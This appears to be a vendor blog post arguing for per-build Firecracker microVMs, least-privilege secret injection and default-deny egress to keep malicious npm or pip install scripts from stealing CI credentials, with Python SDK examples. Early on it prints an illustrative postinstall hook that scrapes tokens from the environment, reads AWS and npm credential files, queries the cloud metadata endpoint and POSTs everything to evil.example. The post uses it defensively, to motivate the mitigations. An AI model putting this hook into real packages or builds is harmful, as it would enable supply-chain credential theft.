Protecting CI Secrets from Malicious Dependencies with MicroVM Isolation

Every time your CI pipeline runs `npm ci` or `pip install`, it fetches and executes code written by hundreds of people you have never met, and it does so with your deploy keys, cloud credentials, npm publish tokens, and code-signing keys sitting right there in the environment. Your CI runner runs whatever's in package-lock.json with the enthusiasm of a golden retriever and the credentials of a root user. A single typosquatted or compromised transitive dependency can, in its install script, read every one of those secrets out of the environment and POST them to an attacker's server before your build ever compiles a line of your own code. This post is about drawing a real wall around that untrusted install step: an ephemeral, per-build Firecracker microVM that gets only the secrets it needs, can't phone home, and is deleted the moment the build finishes.

The threat: your build runs untrusted code with crown-jewel credentials

The uncomfortable premise is that CI is an untrusted-code execution environment that most teams treat as a trusted one. A modern lockfile pulls in a deep tree of transitive dependencies, and package managers let those dependencies run arbitrary code at install time — npm's `preinstall`/`postinstall` scripts, pip's `setup.py`, a Cargo build script. That code runs automatically, with the full permissions of the CI job, before any of your tests or human review touch it. The attacker doesn't need to compromise your repo. They need to compromise (or typosquat, or socially engineer maintainer access to) one package somewhere in your dependency graph.

This is not a hypothetical class of attack; it's a recurring one. The pattern repeats: a popular package gets a malicious version published, its install script harvests environment variables and files, and it exfiltrates whatever it finds. On a CI runner, what it finds is the good stuff. Enumerate what a hostile install script reaches on a typical shared runner:

• Secrets in the environment: CI systems inject secrets as environment variables by default — NPM_TOKEN, AWS_ACCESS_KEY_ID, a Docker registry password, a GitHub PAT, a code-signing key path. A postinstall script is a child process of the build; it inherits the whole environment. `process.env` is a menu.
• Files on disk: cloud SDK credentials at ~/.aws/credentials, a service-account JSON, an SSH deploy key, the .npmrc with your publish token. If the runner can read it, so can the dependency's install hook.
• The build network: a shared runner usually sits inside a network that trusts it — it can reach internal package registries, artifact stores, the cloud metadata endpoint at 169.254.169.254 that hands out IAM credentials, and often production-adjacent services. Untrusted code with network access is an SSRF and lateral-movement primitive.
• The next build's state: on a persistent runner, a compromised install can poison the dependency cache, drop a backdoor in a global toolchain path, or leave a payload for the next job — which may belong to a different, more privileged pipeline.

What the attack actually looks like

It's worth seeing how little code this takes, because the smallness is the point — there's no exploit, no memory corruption, just ordinary shell running in a context that trusts it. This is an illustrative `postinstall` hook of the kind that has shipped in real compromised packages. It does nothing your build wouldn't let it do:

#!/bin/sh
# ILLUSTRATIVE: a malicious dependency's package.json "postinstall" hook.
# Runs automatically during `npm ci`, as a child of the CI job, with the
# job's full environment and network access. No exploit required.

# 1. Scrape anything token-shaped out of the environment.
LOOT=$(env | grep -iE 'TOKEN|SECRET|KEY|PASSWORD|AWS_|NPM_|GITHUB_' | base64)

# 2. Grab on-disk credentials the runner can read.
CREDS=$(cat ~/.aws/credentials ~/.npmrc 2>/dev/null | base64)

# 3. Ask the cloud metadata endpoint for IAM credentials (SSRF pivot).
IAM=$(curl -s --max-time 2 \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64)

# 4. Exfiltrate. One HTTPS POST and your secrets are gone.
curl -s -X POST https://evil.example/collect \
  -d "loot=$LOOT&creds=$CREDS&iam=$IAM" >/dev/null 2>&1 || true

# 5. Exit 0 so the build looks green. Nobody notices.
exit 0

Nothing here is exotic. It succeeds because the shared-runner model gives untrusted install code three things it should never have simultaneously: the secrets, the disk, and the network. Take away any one and the attack degrades; take away all three and it fails. That's the design goal.

Why a microVM per build, and not a container

The reflexive fix is 'run the build in a container,' and containers do help with the disk and process isolation. But a container shares the host's single kernel with everything else on the machine, so a container escape from a malicious dependency reaches the host and every other job on it — and container escapes are a well-documented, recurring class of vulnerability, not a hypothetical. For code you genuinely don't trust — which is exactly what your dependency tree is — you want a separate kernel behind a hardware virtualization boundary the CPU enforces. That's a microVM. It's the boundary AWS built Firecracker to put between Lambda tenants precisely because containers weren't a strong enough wall for untrusted code.

But hardware isolation is only one of the three legs. Isolation stops a compromised build from reaching the host or another build; it does nothing, on its own, to stop that build from reading the secrets you handed it or POSTing them to the internet. The microVM matters because it's the enforcement point for all three defenses at once:

• Least-privilege secrets: because each build gets a fresh VM, you inject only the secrets that this build needs, at runtime, into that one VM — never a shared runner's ambient environment. A build that only compiles and tests gets no deploy keys. A publish step gets the npm token and nothing else. The install step, ideally, gets no secrets at all.
• Egress control: every sandbox has its own network namespace with its own TAP device and NAT rules — PandaStack pre-allocates 16,384 /30 subnets per agent, one per sandbox — so 'block outbound' and 'block the metadata endpoint' are per-build rules on the build's own network segment, not a shared bridge.
• Hardware isolation and full teardown: a compromised dependency is trapped inside a guest kernel it can't escape, running in a VM that is deleted when the build ends. Nothing persists to poison the next build, and the blast radius is one disposable VM.

The pattern: fresh VM, inject only what's needed, build, capture, destroy

The control loop is the same regardless of which CI system triggers it. Your orchestrator does five things per build, and the secret handling is the part most pipelines get wrong:

1. Create a fresh microVM from a baked template — a snapshot with your toolchain already present, so you're restoring in well under a second, not cold-booting.
2. Split the build by trust level: the untrusted-install phase (running dependency hooks) gets no secrets and no egress. The trusted phases that genuinely need a credential — a registry publish, an artifact upload — get exactly that one secret, injected at runtime.
3. Inject the minimum secret at runtime, never baked into the image: pass it as an env on the specific `exec` that needs it, or write it to a file you delete immediately after. It exists in one VM, for one step, and dies with the VM.
4. Run the pipeline via exec and capture results: install, build, test, each returning stdout, stderr, and an exit code. Read artifacts and reports off the filesystem — that's the only thing that leaves the VM.
5. Destroy the VM in a finally block. No secret, no cache, no payload survives. That's the containment.

Least-privilege secret injection in Python

Here's the whole loop with the Python SDK. The install step runs with no secrets at all; the one secret this build genuinely needs (an npm publish token) is injected at runtime, only on the publish `exec`, and only after the untrusted install has already finished. Set PANDASTACK_API_KEY in the orchestrator's environment first — it never enters the build VM.

import os
from pandastack import PandaStack

ps = PandaStack()  # reads PANDASTACK_API_KEY (orchestrator-side, NOT in the build VM)

REPO = "https://github.com/acme/widget.git"
BUILD_SHA = "a1b2c3d4"

# 1. Fresh, hardware-isolated build VM. Restores a baked snapshot on demand
#    (~179ms p50 / ~203ms p99), so a VM-per-build is cheap. Nothing is baked
#    into this image except the toolchain -- no secrets, ever.
sb = ps.sandboxes.create(
    template="base",
    ttl_seconds=900,                 # hard cap: self-destructs after 15 min
    metadata={"repo": REPO, "sha": BUILD_SHA, "kind": "ci-build"},
)

try:
    sb.exec(f"git clone --depth 1 {REPO} /work && cd /work && git checkout {BUILD_SHA}")

    # 2. UNTRUSTED PHASE: this runs every dependency's postinstall hook.
    #    Give it NO secrets and (ideally) NO egress. A malicious dep here
    #    finds an empty environment and a network that can't reach anything.
    install = sb.exec("cd /work && npm ci --ignore-scripts=false", timeout_seconds=300)
    build   = sb.exec("cd /work && npm run build", timeout_seconds=600)
    test    = sb.exec("cd /work && npm test", timeout_seconds=600)

    if not all(step.exit_code == 0 for step in (install, build, test)):
        raise RuntimeError(f"build failed:\n{test.stderr[-2000:]}")

    # 3. TRUSTED PHASE: inject ONLY the one secret this step needs, at runtime,
    #    on this one exec. It lives in one VM, for one command, then the VM dies.
    #    Deps have already run by now, so no install hook ever saw this token.
    sb.filesystem.write("/work/.npmrc",
        f"//registry.npmjs.org/:_authToken={os.environ['NPM_PUBLISH_TOKEN']}\n")
    publish = sb.exec("cd /work && npm publish", timeout_seconds=300)

    # 4. Capture what you deliberately want out. Everything else stays in the VM.
    report = sb.filesystem.read("/work/report.xml")
    print("PUBLISHED" if publish.exit_code == 0 else "PUBLISH FAILED")

finally:
    # 5. Always destroy. The token, the .npmrc, every cache -- all gone.
    sb.delete()

The important structural choice is the ordering: dependency install scripts run first, in a phase with nothing worth stealing, and the publish token only enters the VM after that untrusted code has already executed and exited. Even if a dependency dropped a background payload during install, the token appears in a later step's environment the payload can't retroactively read, on a network it can't reach out on. And when the build ends, the whole VM — token, `.npmrc`, node_modules, any stashed payload — is deleted. If you'd rather keep the secret off disk entirely, pass it as an env on the `exec` call instead of writing a file.

Egress control: so exfiltration has nowhere to go

Least-privilege secrets shrink what a compromised dependency can steal; egress control removes the channel it would steal them over. You want both, because they fail in different directions. Even a build that legitimately needs one secret shouldn't be able to open an arbitrary connection to the internet during its install phase — that's the exact primitive the exfiltration script above relies on. Because every sandbox runs in its own network namespace with its own NAT, egress policy is a per-build rule, and the default should be restrictive:

• Default-deny outbound during install: the dependency-install phase needs to reach your package registry and nothing else. Deny everything, then allowlist the registry. A postinstall hook that tries to curl an unknown host fails closed.
• Block the internal ranges and metadata endpoint: deny RFC1918 (10/8, 172.16/12, 192.168/16) and link-local 169.254.0.0/16 — which covers the cloud metadata IP at 169.254.169.254. A build should never be able to read your instance's IAM credentials or reach an internal service.
• Allowlist, don't blocklist: enumerate the handful of hosts a build is allowed to reach (your registry, your artifact store) rather than trying to list every malicious endpoint. Allowlists fail closed; blocklists lose.
• Cap and time-box: bound how much a build can send and how long it can run, so a compromised step can't turn into an exfiltration firehose or hang burning your CPU bill.

The combination is what matters. A dependency that runs a malicious postinstall inside this model finds an environment with no secrets, a filesystem it can't persist out of, and a network that refuses to connect to its exfil host. It can misbehave all it likes inside a VM you're about to delete — which is precisely the outcome you want from code you never trusted in the first place.

Shared runner vs. container-per-build vs. microVM-per-build

The three common models trade convenience against the strength of the wall between untrusted dependencies and your secrets. Laid side by side:

• Isolation strength — Shared runner: weakest; untrusted install code sits next to ambient secrets on a shared kernel, and one job's compromise touches the next. Container-per-build: better process/filesystem isolation, but a shared host kernel means an escape reaches the host. MicroVM-per-build: strongest; a separate guest kernel behind a hardware virtualization boundary per build.
• Secret exposure — Shared runner: high; secrets are typically ambient environment variables every child process (including postinstall hooks) inherits. Container-per-build: better if you scope secrets per container, but they still sit in the same environment as the untrusted install. MicroVM-per-build: minimal; inject only the needed secret at runtime into an isolated VM, after untrusted install has run, then delete.
• Egress control — Shared runner: usually none per job; the runner's network is shared and trusted. Container-per-build: possible with network policies, but on a shared host plane. MicroVM-per-build: per-build network namespace with its own NAT — default-deny and metadata-block are enforced on the build's own segment.
• State teardown — Shared runner: state persists between jobs; caches and dropped payloads leak forward. Container-per-build: fresh container, but shared host state and images can carry poison. MicroVM-per-build: full teardown — the entire guest, including any stashed payload, is deleted per build.
• Cost of 'fresh per build' — Shared runner: cheapest per job, most expensive in blast radius. Container-per-build: cheap and fast. MicroVM-per-build: a ~179ms p50 restore per build (memory copy-on-write, reflink rootfs), cheap enough to make per-build the default rather than a luxury.

When you don't need this

This is real infrastructure — you own the split-by-trust pipeline, the secret plumbing, egress policy, and snapshot hygiene. Be honest about whether your threat model calls for it.

• You have no third-party dependencies with install hooks and no untrusted PRs. If your build genuinely only runs first-party, reviewed code, the supply-chain argument is weaker (though vendored deps still update).
• Your secrets are already minimal and scoped. If your CI holds nothing more sensitive than a read-only test token and can't reach anything internal, the payoff of hardware isolation shrinks — a hardened container may be enough.
• A managed CI service with per-job isolation and OIDC-based short-lived credentials already fits. Short-lived, narrowly-scoped OIDC tokens are a strong mitigation on their own; pair them with whatever isolation your provider offers.

Reach for microVM-per-build when your dependency tree runs install-time code you can't fully audit, when your CI holds credentials whose theft would be a real incident (deploy keys, cloud creds, signing keys, publish tokens), when you need a hardware isolation boundary for compliance, or when a supply-chain compromise anywhere in your graph is in your threat model — which, for most teams shipping software, it is. The dependency tree is untrusted code you run on every build; treat it exactly that well, and stop handing it the keys.